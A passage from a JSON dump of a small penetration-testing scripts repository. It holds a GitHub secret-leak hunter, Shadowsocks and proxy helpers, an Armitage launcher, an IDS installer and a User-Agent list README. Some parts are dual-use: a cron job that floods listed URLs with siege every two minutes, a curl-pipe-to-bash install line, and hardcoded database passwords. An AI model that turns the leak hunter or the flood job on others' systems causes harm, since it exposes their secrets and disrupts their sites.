(payload[1] in codes[i]):\n                    #如果数据库中返回的值为空，则说明该条目在数据库中不存在，那么添加到target_codes里面用户发送邮件，并且添加到数据库中\n                    if not compare_DB_Url(tUrls[i]):\n                        target_codes.append('<br><br><br>' + '链接：' + tUrls[i] + '<br><br>')\n                        target_codes.append('简要代码如下：<br><div style=\"border:1px solid #bfd1eb;background:#f3faff\">' + codes[i] + '</div>')\n                        insert_DB(tUrls[i], codes[i])\n    else:\n        print(\"未发现数据库文件，创建并建立基线......\")\n        for keyword in keywords:\n            payload = keyword.split('+')\n            for i in range(0, len(tUrls)):\n                #关键词和payload同时存在则加入到target_codes,并写入数据库\n                if (payload[0] in codes[i]) and (payload[1] in codes[i]):\n                    target_codes.append('<br><br><br>' + '链接：' +tUrls[i] + '<br><br>')\n                    target_codes.append('简要代码如下：<br><div style=\"border:1px solid #bfd1eb;background:#f3faff\">' + codes[i] + '</div>')\n                    insert_DB(tUrls[i], codes[i])\n    #当target_codes有数据时，则进行邮件预警                \n    if target_codes:\n        warning = ''.join(target_codes)\n        result = 'Dear all<br><br>发现信息泄露! ' + '一共发现{}条'.format(int(len(target_codes)/2)) + warning\n        send_mail(host, m_User, m_Pass, m_sender, receivers, result)\n    else:\n        send_mail(host, m_User, m_Pass, m_sender, receivers, message)\n"
  },
  {
    "path": "Github_Leak/Github-Hunter-master/README.md",
    "content": "# Github-Hunter v2.1\nThis tool is for sensitive information searching on Github.\nIt's new version of this tool.\n## Requirements\nPython 3.x <br>\n## OS Support\nLinux,MacOS,Windows<br>\n## Installation\n1.`git clone https://github.com/Hell0W0rld0/Github-Hunter.git`<br>\nNotice:Github Hunter only supports Python3.x, if you are using Python2.x,do some tests before use it<br>\n2.`cd Github-Hunter`<br>\n3.`pip install virtualenv`<br>\n4.`virtualenv --python=/usr/local/bin/python3 env`<br>\n5.`source venv/bin/activate`<br>\n6.`pip install -r requirements`<br>\n## Settings\nBefor use it,you must change parameters in `info.ini.example`,then change filename(just delete `.example`)\n### Example\n`[KEYWORD]`<br>\n`keyword1 = your main keyword here`<br>\n`keyword2 = your main keyword here`<br>\n`keyword3 = your main keyword here`<br>\n`...etc`<br>\n<br>\n`[EMAIL]`<br>\n`host = Email server`<br>\n`user = Email User`<br>\n`password = Email password`<br>\n<br>\n`[SENDER]`<br>\n`sender = The email sender`<br>\n<br>\n`[RECEIVER]`<br>\n`receiver1 = Email receiver No.1`<br>\n`receiver2 = Email receiver No.2`<br>\n<br>\n`[Github]`<br>\n`user = Github Username`<br>\n`password = Github Password`<br>\n<br>\n`[PAYLOADS]`<br>\n`p1 = Payload 1`<br>\n`p2 = Payload 2`<br>\n`p3 = Payload 3`<br>\n`p4 = Payload 4`<br>\n`p5 = Payload 5`<br>\n`p6 = Payload 6`<br>\n### Keyword and Payloads\nYou can add many main keywords as you like, but i suggest add 2~5 keywords.<br>\nThe tool will combine keyword and payload. So keywords for searching will be \"keyword + payload\".You can customize your payloads,the more you add, the more sensitive information will be found.\n## Run\n`python GithubHunter.py`<br>\nYou will receive emails when application complete.<br>\nThere will be a .db file named hunter.db, this baseline for url and code. Do not remove it<br>\nThe emails will be send contain urls and code.\n"
  },
  {
    "path": "Github_Leak/Github-Hunter-master/info.ini.example",
    "content": "[KEYWORD]\nkeyword1 = your keyword here\nkeyword2 = your keyword here\nkeyword3 = your keyword here\n...\netc\n\n[EMAIL]\nhost = Email server\nuser = Email User\npassword = Email password\n\n[SENDER]\nsender = The email sender\n\n[RECEIVER]\nreceiver1 = Email receiver No.1\nreceiver2 = Email receiver No.2\n\n[Github]\nuser = Github Username\npassword = Github Password\n\n[PAYLOADS]\np1 = Payload 1\np2 = Payload 2\np3 = Payload 3\np4 = Payload 4\np5 = Payload 5\np6 = Payload 6\n"
  },
  {
    "path": "Github_Leak/Github-Hunter-master/requirements.txt",
    "content": "lxml==4.2.1  \ntqdm==4.23.0\nrequests==2.20.1\n"
  },
  {
    "path": "Linux_scripts/recover_ss.sh",
    "content": "#!/bin/bash\n# author\t：ym2011\n# date\t\t: 2019-10-08\n# version \t: 1.0\n# target \t: After restored Snapshots to the machine, the script helps to correct the configuration easily.\n\ndefault_install(){\n#Recover the backup configuration for shadowsocks\n\techo\n\techo_Yellow \"# =======================================\"\n\techo_GreenBG \"Stop Shadowsocks service \"\n\tsystemctl stop shadowsocks\n    # open ports for ss server \n\techo\n\techo_Yellow \"# =======================================\"\n\techo_GreenBG \"Add ports of shadowsocks to system firewall \"\n\tfirewall-cmd --zone=public --add-port=25/tcp --permanent\n\tfirewall-cmd --zone=public --add-port=2019/tcp --permanent\n\tfirewall-cmd --reload\n\t# Get public IP address\n\techo_GreenBG \"Change the ip in Configuration for shadowsocks\"\n\tIP=$(/sbin/ifconfig eth0 | egrep -o '[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}' |head -n 1)\n\t# change the IP for current machine \n    sed -i '3s/^.*$/\"server\": \"'$IP'\",/g' /etc/shadowsocks.json\n    # reload \n\techo\n\techo_Yellow \"# =======================================\"\n\techo_GreenBG \"Show the status for Shadowsocks \"\n\tsystemctl daemon-reload\n\tsystemctl start shadowsocks\n\tsystemctl status shadowsocks -l\n}\n\n\nrestart_service(){\n\techo\n\techo_Yellow \"# =======================================\"\n\techo_GreenBG \"restart Shadowsocks \"\n\tsystemctl stop shadowsocks\n\tsystemctl start shadowsocks\n\techo_GreenBG \"Show the status for Shadowsocks \"\n\tsystemctl status shadowsocks -l\n}\n\n\nshow_status(){\n\techo\n\techo_Green \"# =======================================\"\n\techo_GreenBG \"show the status for bbr \"\n\tlsmod | grep bbr\n\techo\n\techo_Green \"# =======================================\"\n\techo_GreenBG \"show the status for Shadowsocks \"\n\tsystemctl status shadowsocks -l\n}\n\n\ndisplay_conf(){\n    echo\n    echo\n    echo_Green \"# =======================================\"\n    echo_GreenBG \"#Shadowsocks Server Configuration: /etc/shadowsocks.json\"\n    cat /etc/shadowsocks.json\n\techo\n\techo_Green \"# =======================================\"\n    echo_GreenBG \"#bbr Server Configuration: /etc/sysctl.conf\"\n    cat /etc/sysctl.conf | grep bbr\n\t\n}\n\n\n# Setting Menu\nstart_menu(){\n    clear\n\techo\n\techo_Green \"# =======================================\"\n\techo \"Firstly, creating the machine and Restored Snapshot.\"\n\techo \"Secondly, We should correct the configuration for shadowsocks.\"\n\techo \"Finally, Following the guide, it can help you do it easily!!!\"\n\techo\n\techo_Green \"# =======================================\"\n    echo_SkyBlue \">  1. Default Option, Recover Shadowsocks and bbr automatically  \"\n\techo_SkyBlue \">  2. Restart Shadowsocks service \"\n\techo_Green \t \">  3. Display status for Shadowsocks and bbr \"\n\techo_Green   \">  4. Display Shadowsocks and bbr Configuration \"\n    echo_Yellow  \">  5. Exit\"\n    read -p \"Please Enter the Number to Choose (Press Enter to Default):\" num\n    case \"$num\" in\n        1)\n        default_install\n        ;;\n\t\t2)\n\t\trestart_service\n        ;;\n        3)\n        show_status\n\t\t;;\n\t\t4)\n        display_conf\n        ;;\n        5)\n        exit 1\n        ;;\n        *)\n        default_install\n        ;;\n        esac\n}\n\n\n# Definition Display Text Color\nGreen=\"\\033[32m\"  && Red=\"\\033[31m\" && GreenBG=\"\\033[42;37m\" && RedBG=\"\\033[41;37m\"\nFont=\"\\033[0m\"  && Yellow=\"\\033[0;33m\" && SkyBlue=\"\\033[0;36m\"\n\necho_SkyBlue(){\n    echo -e \"${SkyBlue}$1${Font}\"\n}\necho_Yellow(){\n    echo -e \"${Yellow}$1${Font}\"\n}\necho_Green(){\n    echo -e \"${Green}$1${Font}\"\n}\necho_GreenBG(){\n    echo -e \"${GreenBG}$1${Font}\"\n}\n\n\nstart_menu\n"
  },
  {
    "path": "Linux_scripts/run_armitage.sh",
    "content": "#!/bin/bash\necho \"execute the script to run armitage,typ the following command in the terminal:\nchmod 755 run_armitage.sh\n./run_armitage.sh\"\necho -e \"if you want to the new verison of metasploit， please type:\napt-get update && apt-get upgrade\"\necho \" have fun !!!^-^\"\necho -e \"if there are any problem, please see the Armitage-FAQ.txt\nthe link is :\nhttps://github.com/ym2011/penetration/blob/master/Armitage-FAQ.txt\"\nservice postgresql start\narmitage &\n"
  },
  {
    "path": "Linux_scripts/set_proxy.sh",
    "content": "#!/usr/bin/env bash\n\nfunction menu() \n{\necho -e \"\\033[1;31m ______________________________________________________________________________\\033[0m\"\necho -e \"\\033[1;31m|                                                                              |\\033[0m\"\necho -e \"\\033[1;31m|______________________________________________________________________________|\\033[0m\"\n\ncat <<EOF\n\t\t\t\t`echo \"1).设置系统代理\"`\n\t\t\t\t`echo \"2).查看系统代理\"`\n\t\t\t\t`echo \"3).清空系统代理\"`\n\t\t\t\t`echo \"4).退出脚本\"`\nEOF\n\nread -p \"请选择要使用的功能：\" num\ncase $num in\n    1)\n        set_proxy\n    ;;\n    2)\n        check_proxy\n    ;;\n    3)\n        empty_proxy\n\t;;\n\t4)\n        exit\n    ;;\nesac\n\n}\n:<<!\nfunction check_ip() {\n    VALID_CHECK=$(echo $ip|awk -F. '$1<=255&&$2<=255&&$3<=255&&$4<=255{print \"yes\"}')   \n    if echo $ip|grep -E \"^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$\" >/dev/null; then   \n        if [ $VALID_CHECK == \"yes\" ]; then   \n         echo \"ip $ip  available!\"   \n            return 0   \n        else   \n            echo \"ip $ip not available!\"   \n            return 1   \n        fi   \n    else   \n        echo \"ip format error! The setting will be wrong.\"   \n        return 1   \n    fi\n}\nwhile  true ;  do\n     read  -p  \"Please enter IP: \"  IP\n     check_ip $IP\n     [ $? - eq  0 ] &&  break\ndone\n\n!\n\n:<<!\nfunction check_port() {\n  if [ \"$port\" -gt 0 ] 2>/dev/null ;then\n    echo \"port $port is number.\"\n    else\n      echo \"port format error! the setting will be wrong.\"\n  fi\t\n}\nwhile  true ;  do\n     read  -p  \"Please enter IP: \"  IP\n     check_ip $IP\n     [ $? - eq  0 ] &&  break\ndone\n\n!\n\nfunction set_proxy(){\n:<<!\n\tread  -p  \"Please enter IP: \"  ip\n\tcheck_ip $IP\n\n\tread  -p  \"Please enter port: \"  port\n\tcheck_ip $port\n!\n\techo \"Please enter IP:PORT, example as 134.175.228.161:50000\"\n\techo \"IF the format is error as well as the setting will be wrong too.\"\n    read  -p  \"Please enter IP:PORT: \"  ip_port\n\tsed -i '/http/d' /etc/profile\n#\tsed -i '/unset -f pathmunge/a export http_proxy=http://$ip:$port' /etc/profile\n#\tsed -i '/unset -f pathmunge/a export https_proxy=https://$ip:$port' /etc/profile\n#   sed -i '/unset -f pathmunge/a export https_proxy=https://$ip:$port' /etc/profile\n\t# echo \"export http_proxy=http://$ip:$port\" >> /etc/profile\n\t# echo \"export https_proxy=https://$ip:$port\" >> /etc/profile\n\techo \"export http_proxy=http://$ip_port\" >> /etc/profile\n\techo \"export https_proxy=https://$ip_port\" >> /etc/profile\n\tcheck_proxy\n\n}\n\n\nfunction check_proxy(){\n\tsource /etc/profile\n\techo \"...system proxy is below!....\"\n\techo $http_proxy && echo $https_proxy\n\techo \"...checking system proxy !...\"\n\tcurl cip.cc\n\tsleep 5\n\texit\n}\n\n\nfunction empty_proxy(){\n\tsed -i '/http/d' /etc/profile\n\tsource /etc/profile\n\techo \"...system proxy is empty!...\"\n\techo $http_proxy && echo $https_proxy\n\t\n}\nmenu"
  },
  {
    "path": "Linux_scripts/siege_batchaccess.sh",
    "content": "# Edit this file to introduce tasks to be run by cron.\n#\n# Each task to run has to be defined through a single line\n# indicating with different fields when the task will be run\n# and what command to run for the task\n#\n# To define the time you can provide concrete values for\n# minute (m), hour (h), day of month (dom), month (mon),\n# and day of week (dow) or use '*' in these fields (for 'any').#\n# Notice that tasks will be started based on the cron's system\n# daemon's notion of time and timezones.\n#\n# Output of the crontab jobs (including errors) is sent through\n# email to the user the crontab file belongs to (unless redirected).\n#\n# For example, you can run a backup of all your user accounts\n# at 5 a.m every week with:\n# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/\n#\n#\n# For more information see the manual pages of crontab(5) and cron(8)\n#\n#root@kali:/# crontab -u root /root/batchaccess \n#\n#root@kali:/# siege -i -c 300 -r 20 -t 2H -b -v -f /root/blog.txt\n#root@kali:/# leafpad /etc/siege/siegerc\n#root@kali:/# siege -C\n#root@kali:/# locate siege\n#\n#\n#root@kali:~# crontab -u root /root/batchaccess#使用root用户定时执行 /root/batchaccess 这个文件\n#root@kali:~# crontab -u root -l# 列出 root用户的定时任务\n#root@kali:~# crontab -u root -r# 清空 root用户的定时任务\n#root@kali:~#  crontab -u root -i -r # 在清空 root用户的定时任务之前，需要用户手动确认是否清空\n#\n#root@kali:/# locate siege\n#root@kali:/# leafpad /var/log/siege.log \n#root@kali:/# cat /var/log/syslog |grep \"siege\" \n#root@kali:/# rm /var/log/siege.log\n#\n#root@kali:~# /etc/init.d/cron restart\n#root@kali:~# service cron restart\n#\n\n\n*/2 * * * * siege -i -c 100 -t 20S -v -f /root/blog.txt\n"
  },
  {
    "path": "README.md",
    "content": "# Penetration\nthere are some automatic scripts for penetration.  \n"
  },
  {
    "path": "Snorby_scripts/README.MD",
    "content": "# these is a very simple script for building an ids consisting of Suricata、Barnyard2 and Snorby.\n# as is known, the snorby is the main manager which demonstrates the results collecting from the Suricata\n# the Suricata is used to analyse the traffic and Barnyard2 helps it to convert its format and write the data to mysql database\n# the the snorby would get data from mysql\n# the stop.sh is about to stop  Suricata、Barnyard2 and Snorby at once\n#the start.sh is about to stop  Suricata、Barnyard2 and Snorby at once\n# the setup.sh is about to build Suricata、Barnyard2 and Snorby automate automatically. \n# since this script is so simple. there are some errors while building, therefore you will need to run the command in the cscript one by one.\n# maybe you can improve my script for building Suricata、Barnyard2 and Snorby at once\n# please help me to make the script more convenient and robotics.\n"
  },
  {
    "path": "Snorby_scripts/setup.sh",
    "content": "#!/usr/bin/env bash\n# author: ym2011\n# date: 2016-11-26\n# version: 0.8\n\necho \"it will install snorby,suricata,barnyard2 automately. so take a coffee/n\"\n\n# 0x01 OS basic environment\n# 1 os installation\n# we doing the all following steps basing on CentOS-6.8-x86_64 server.\n# therefore, we should install system using the CentOS-6.8-x86_64-bin-DVD1.iso.\n\n# 2 set the epel sources\nyum -y install epel-release\nrpm -ivh http://repo.mysql.com//mysql57-community-release-el6-9.noarch.rpm\nyum -y install yum-utils\nyum clean all\nyum-complete-transaction --cleanup-only\nsleep 30\n\n# 0x02 install some important dependences\nyum -y install gcc-c++ patch readline readline-devel zlib zlib-devel git-core libyaml-devel libffi-devel openssl-devel make libpcap-devel pcre-devel libyaml-devel file-devel jansson-devel nss-devel libcap-ng-devel libnet-devel tar libnetfilter_queue-devel lua-devel fontconfig-devel libX11-devel libXrender-devel libxml2-devel libxslt-devel qconf\n\n# 0x03 install and configure mysql\n# yum install mysql mysql-devel mysql*\nyum -y install mysql-community-server\nyum -y install mysql-community-devel\nservice mysqld start\nchkconfig mysqld on\n# warnig：we would change the password for root and add a user for snorby in MySQL.\n# to find out the password of root, we should do the following:\n# grep 'temporary password' /var/log/mysqld.log | awk '{print $11}'\n# the result is the password for root， and then do the following:\n# note: we need to type the password the result above after we typed the following command，\n# mysql -uroot -p\n# SET PASSWORD FOR 'root'@'localhost' = \"yyMM@2011\";\n# create user 'snorbyroot'@'localhost' identified by 'MMyy@2011';\n# grant all privileges on snorby.* to 'snorbyroot'@'localhost' with grant option;\n# flush privileges;\n# quit\n\n# 0x04 package for IDS\n# 1 dwonload and install ImageMagick\ncd /opt/\nwget --no-check-certificate -t 50 https://www.imagemagick.org/download/ImageMagick-6.9.6-5.tar.gz\nif [ ! -f \"ImageMagick-6.9.6-5.tar.gz\" ]\nthen\n\techo \"the network is unreachable.please check your network and run this script again\"\nelse\n\tfs=\"`du -B 1M ImageMagick-6.9.6-5.tar.gz | awk '{print $1}'`\"\n\twhile [ $fs -lt 12 ];\n\tdo\n\t\trm -rf ImageMagick-6.9.6-5.tar.gz && echo \"the network is unstable.please check your network and run this script again\"\n\t\twget --no-check-certificate -t 50 https://www.imagemagick.org/download/ImageMagick-6.9.6-5.tar.gz\n\t\tbreak\n\tdone\n\nfi\ntar zxvf ImageMagick-6.9.6-5.tar.gz && cd ImageMagick-6.9.6-5\n./configure && make && make install\nsleep 5\nldconfig /usr/local/lib\n\n# 2 dwonload and install yaml\ncd /opt/\nwget --no-check-certificate -t 50 http://pyyaml.org/download/libyaml/yaml-0.1.4.tar.gz\nif [ ! -f \"yaml-0.1.4.tar.gz\" ]\nthen\n\techo \"the network is unreachable.please check your network and run this script again\"\nelse\n\tfs=\"`du -B 1k yaml-0.1.4.tar.gz | awk '{print $1}'`\"\n\twhile [ $fs -lt 450 ];\n\tdo\n\t\trm -rf yaml-0.1.4.tar.gz && echo \"the network is unstable.please check your network and run this script again\"\n\t\twget --no-check-certificate -t 50 http://pyyaml.org/download/libyaml/yaml-0.1.4.tar.gz\n\t\tbreak\n\tdone\n\nfi\n\ntar zxvf yaml-0.1.4.tar.gz && cd yaml-0.1.4\n./configure && make && make install\nsleep 5\n\n# 3 dwonload and install libhtp\ncd /opt/\nwget --no-check-certificate -t 50 -O libhtp-0.5.20.tar.gz https://codeload.github.com/OISF/libhtp/tar.gz/0.5.20 \ntar zxvf libhtp-0.5.20.tar.gz && cd libhtp-0.5.20\n./autogen.sh\n./configure && make && make install\nsleep 10\n\n\n# 0x05 install ruby \n# snory needs  ruby support to run. the ruby version should be 1.9.3 or higher.\n# here we choose the version 2.0.0\ncd /opt/ && curl -L get.rvm.io | bash -s stable\nsleep 10\ncommand curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -\nsource /etc/profile.d/rvm.sh\nsleep 10\nrvm install 2.0.0\nsleep 20\nruby -v\nsleep 20\ngem install bundler\nsleep 20\n\n# 0x07 dwonload and install snorby\ncd /opt/ && git clone git://github.com/Snorby/snorby.git \ncd /opt/snorby/\n\n# modify the file Gemfile,gem 'rake', '0.9.2' --->> gem 'rake', '> 0.9.2'，。\n# the step can be skipped if the ruby version is not less than 2.0.0\n# sed -i 's/0.9.2/>0.9.2.2/g' Gemfile\n\n# modify Gemfile.lock, rake (0.9.2) --->> rake(0.9.2.2)\n# the step can be skipped if the ruby version is not less than 2.0.0\n# sed -i 's/\\(0.9.2\\)/0.9.2.2/g' Gemfile.lock\n\n# create snorby_config.yml and database.yml\ncp ./config/snorby_config.yml.example ./config/snorby_config.yml\ncp ./config/database.yml.example ./config/database.yml\n \n# modify snorby_config.yml，we can choose to delete the symbol #, \n# which is thefront of the time_zone，and change UTC to Asia/Shanghai\n# open database.yml, change the account and password to our own. here is root/ ym2011@2011my.\nsed -i 's/root/snorbyroot/g 'config/database.yml \nsed -i 's/Enter Password Here/MMyy@2011/g' config/database.yml\n# change into snorby，execute the following commands to startinstallation.\n# since we don't need postgreSQL, we are better to delete the library,\n# or else it would go wrong whlie installing.\nsed -i '/dm-postgres-adapter/d' Gemfile\nbundle install\n\n# 0x08 set iptables\n# if we can access to the http://ip:3000(the ip is the server ip) in other computer.\n# /etc/init.d/iptables stop\t#we can stop the iptables( nor recommended), and then access to http://ip:3000\niptables -I INPUT -p tcp --dport 3000 -m state --state=NEW,ESTABLISHED,RELATED -j ACCEPT\n\n# 0x09 dwonload and install barnyard2\ncd /opt/ && wget --no-check-certificate -t 50 -O barnyard2-2-1.13.tar.gz https://codeload.github.com/firnsy/barnyard2/tar.gz/v2-1.13\nif [ ! -f \"barnyard2-2-1.13.tar.gz\" ]\nthen\n\techo \"the network is unreachable.please check your network and run this script again\"\nelse\n\tfs=\"`du -B 1k barnyard2-2-1.13.tar.gz | awk '{print $1}'`\"\n\twhile [ $fs -lt 400 ];\n\tdo\n\t\trm -rf barnyard2-2-1.13.tar.gz && echo \"the network is unstable.please check your network and run this script again\"\n\t\twget --no-check-certificate -t 50 -O barnyard2-2-1.13.tar.gz https://codeload.github.com/firnsy/barnyard2/tar.gz/v2-1.13\n\t\tbreak\n\tdone\n\nfi\n\ntar xvfz barnyard2-2-1.13.tar.gz && cd barnyard2-2-1.13/\n./autogen.sh\n# if the above command failed to execute, please check the  locations where mysql-libraries and mysql locate in.\n./configure --with-mysql-libraries=/usr/lib64/mysql/ --with-mysql=/usr/bin/mysql\nmake && make install\n\n# 0x10 dwonload and install Suricata \ncd /opt/ && wget -t 50 http://www.openinfosecfoundation.org/download/suricata-3.1.tar.gz\nif [ ! -f \"suricata-3.1.tar.gz\" ]; then\n\techo \"the network is unreachable.please check your network and run this script again\"\nelse\n\tfs1=\"`du -B 1M suricata-3.1.tar.gz | awk '{print $1}'`\"\n\tif [ $fs1 -lt 3 ]; then\n\t\t\trm -rf suricata-3.1.tar.gz && echo \"the network is unstable.please check your network and run this script again\"\n\t\t\t\n\tfi\n\nfi\ntar -xvzf suricata-3.1.tar.gz && cd suricata-3.1\n./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-nfqueue --enable-lua\nmake && make install-full\n\necho \" congratulations!, snorby、suricata、barnyard2 is fullly installed. \"\necho \" we will configure the configuration files automatically.\"\necho \" please wait a minute\"\n\n# 0x11  configure Suricata、Barnyard 2\n# 1 copy etc/barnyard2.con in barnyard2-2-1.13 directory to Suricata configuration directory\ncd /opt/barnyard2-2-1.13\ncp ./etc/barnyard2.conf /etc/suricata/\n\n#2 create barnyard2 log directory named /var/log/barnyard2\nmkdir /var/log/barnyard2\n\n# 3 change barnyard2.conf\n# change the default snort file configuration to suricata\nsed -i 's/snort/suricata/g' /etc/suricata/barnyard2.conf\nsed -i 's/gen-msg.map/rules\\/gen-msg.map/g' /etc/suricata/barnyard2.conf\nsed -i 's/sid-msg.map/rules\\/sid-msg.map/g' /etc/suricata/barnyard2.conf\n\n# 4 add the MySQL information to barnyard2.conf\nsed -i '$a output database: log, mysql, user=snorbroot password=MMyy@2011 dbname=snorby host=localhost' /etc/suricata/barnyard2.conf\n\n# 5 find out the string \"config hostname\" and \"config interface\". the later is to monitor the traffic, it can be more than one.\n# match this string and add a new line next.\nsed -i -e '/#config hostname:   thor/a\\config hostname:   ym/' /etc/suricata/barnyard2.conf\nsed -i -e '/#config interface:  eth0/a\\config interface:  eth0/' /etc/suricata/barnyard2.conf\nsed -i -e '/#config waldo_file/a\\config waldo_file: /var/log/suricata/suricata.waldo' /etc/suricata/barnyard2.conf\n\n# 6 edit suricata.yaml\ntouch /var/log/suricata/suricata.waldo\n\n# 7 modify log format fled:\n# match this string and add a new line next.\nsed -i -e '/default-log-format/a\\  default-log-format: \"[%i] %t -(%f:%l) <%d> (%n) -- \"' /etc/suricata/suricata.yaml\n\n# 8 figure out #pid-file: /var/run/suricata.pid, and drop the #\n# match this string and add a new line next.\nsed -i -e '/pid-file/a\\pid-file: /var/run/suricata.pid' /etc/suricata/suricata.yaml\n\n# 9 figure out #threshold-file: /etc/suricata/threshold.config,and drop the \"#\"\nsed -i -e '/threshold-file/a\\threshold-file: /etc/suricata/threshold.config' /etc/suricata/suricata.yaml\n\n# 10 enable syslog function, in /etc/suricata/suricata.yaml ， find out \n# match and replace the word no to yes between string\"/var/log/suricata/suricata.log/\" and \"Step 4\"\nsed -i -e '\\/var\\/log\\/suricata\\/suricata.log/,/Step 4/s/no/yes/g' /etc/suricata/suricata.yaml\n\n# 11 enable unified2 logging in the suricata yaml:\n# match and replace the word no to yes between string \" unified2-alert \" and \" unified2.alert \" \nsed -i -e '/unified2-alert/,/unified2.alert/s/no/yes/g' /etc/suricata/suricata.yaml\n\n# 0x12 the complete script for this setup：\n# https://github.com/ym2011/penetration/tree/master/scripts/Snorby\n\necho \" congratulations!, all configurations is fullly finished. \"\necho \" script executed successful.if errors occurs, please run the command above on your own\"\necho \" please run the file: start-ids.sh to start the service and do the step [3 configure mysql] on youronw\"\necho \" have fun ! \"\n"
  },
  {
    "path": "Snorby_scripts/start_ids.sh",
    "content": "#!/bin/sh\necho \"===========================================================================================\"\necho \"it will start the snorby  first, and then will start barnyard2 and suricata later\"\necho \"please wait for a minute\"\necho \"if there are any problems, please check the barnyard2.conf and  \"\ncd /opt/snorby && rake snorby:setup && rails server -e production &\n# cd snorby && rake snorby:setup && rails server -d -e production\n\n/usr/local/bin/barnyard2 -c /etc/suricata/barnyard2.conf -d /var/log/suricata -f unified2.alert -w /var/log/suricata/suricata.waldo –D &\n\nLD_LIBRARY_PATH=/usr/local/lib /usr/bin/suricata -c /etc/suricata//suricata.yaml -i eth0 -D &\n\necho \" the service have started, please http://yourip:3000 on your browser, the ip is the machine where you install snorby. \"\necho \" have fun !!\"\necho \"===========================================================================================\"\n"
  },
  {
    "path": "Snorby_scripts/stop_ids.sh",
    "content": "#!/bin/sh\necho \"===========================================================================================\"\necho \"it will stop the snorby  first, and then will stop barnyard2 and suricata later\"\necho \"please wait for a minute\"\n\nkill -9 `ps -ef | grep /bin/ruby | grep rails | awk '{print $2}'`\n\nkill -9 `ps -ef | grep /usr/local/bin/barnyard2 | awk '{print $2}'`\n\nkill -9 `ps -ef | grep /usr/bin/suricata | awk '{print $2}'`\n\necho \" the service have stop, if you want to restart the snorby + barnyard2 + suricata once, please run :./start-ids.sh \"\necho \" Bye\"\necho \"===========================================================================================\"\n"
  },
  {
    "path": "User Agents/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 John Berlin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,\nand to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies\nor substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT\nLIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE."
  },
  {
    "path": "User Agents/README.md",
    "content": "# User-Agent Lists\n\nSometimes you need change the _User-Agent_ string used when making **alot** of requests to the same server(s) often.\n- **Research Purposes ONLY**\n\nThat can be a hard thing to do if you only know a handful of user agents.\n\nNot to mention building your own comprehensive list of user agent strings takes time.\n\nIn the spirit of the [rfc.bib](https://github.com/hupili/rfc.bib) project, this project aims to make a comprehensive set of _User-Agent_ string lists available for all to use.\n\n# Usage\nDownload a list today free of charge\n\n**OR**\n\nGenerate the lists yourself (**Requires python 3.5**)\n- ```[sudo] pip install -r  requirements.txt```\n- ```python useragents.py --all```\n\nFor more options execute ```python useragents.py --help```\n\n\n# List Info\n### Origins\nThe _User-Agent_ lists made available by this repo come from\n- [user-agents.org](http://www.user-agents.org/allagents.xml):  ua_org_allagents.(csv|json)\n- [techpatterns.com](https://techpatterns.com/downloads/firefox/useragentswitcher.xml): techpatterns_com_useragentswitcher.(csv|json)\n- [developers.whatismybrowser.com](https://developers.whatismybrowser.com/useragents/explore): [browser].(csv|json)\n\n### Flavors\nAll list provided by this repo come in two flavors namely **csv** and **json**.\n\nBoth flavors can be found in a directory of same name and  both flavors share the same \"keys\".\n\n### Keys\nua_org_allagents.(csv|json)\n- **description**: The name of the browser/bot/etc using the _User-Agent_ string\n- **ua**: The _User-Agent_ string\n\ntechpatterns_com_useragentswitcher.(csv|json)\n- **kind**: Is the userof the _User-Agent_ string a browser, mobile, spider\n- **description**: Name version (os) for the user of the _User-Agent_ string\n- **ua**: The _User-Agent_ string\n\n[browser].(csv|json)\n- **ua**: The _User-Agent_ string\n- **version**: The version of the browser using the _User-Agent_ string\n- **commonality**: How common is this _User-Agent_ string\n\n### User-Agents Included By Each List\nua_org_allagents.(csv|json) provides 2460 User-Agent strings comprised of\n- Web Crawlers / Robots\n- Browsers (Older)\n- Tools (Curl, etc)\n- Scanners\n\ntechpatterns_com_useragentswitcher.(csv|json) provides 830 User-Agent strings comprised of\n- Browsers - Windows\n- Browsers - Mac\n- Browsers - Linux, Browsers - Unix\n- Mobile Devices\n- Spiders\n- Miscellaneous\n\n[browser].(csv|json) provides 1501 _User-Agent_ strings specific to a browser\n- chrome\n- firefox\n- safari\n- opera\n- internet-explorer\n- android\n\n# License\nMIT\n"
  },
  {
    "path": "User Agents/SwitchyOmega/OmegaOptions.bak",
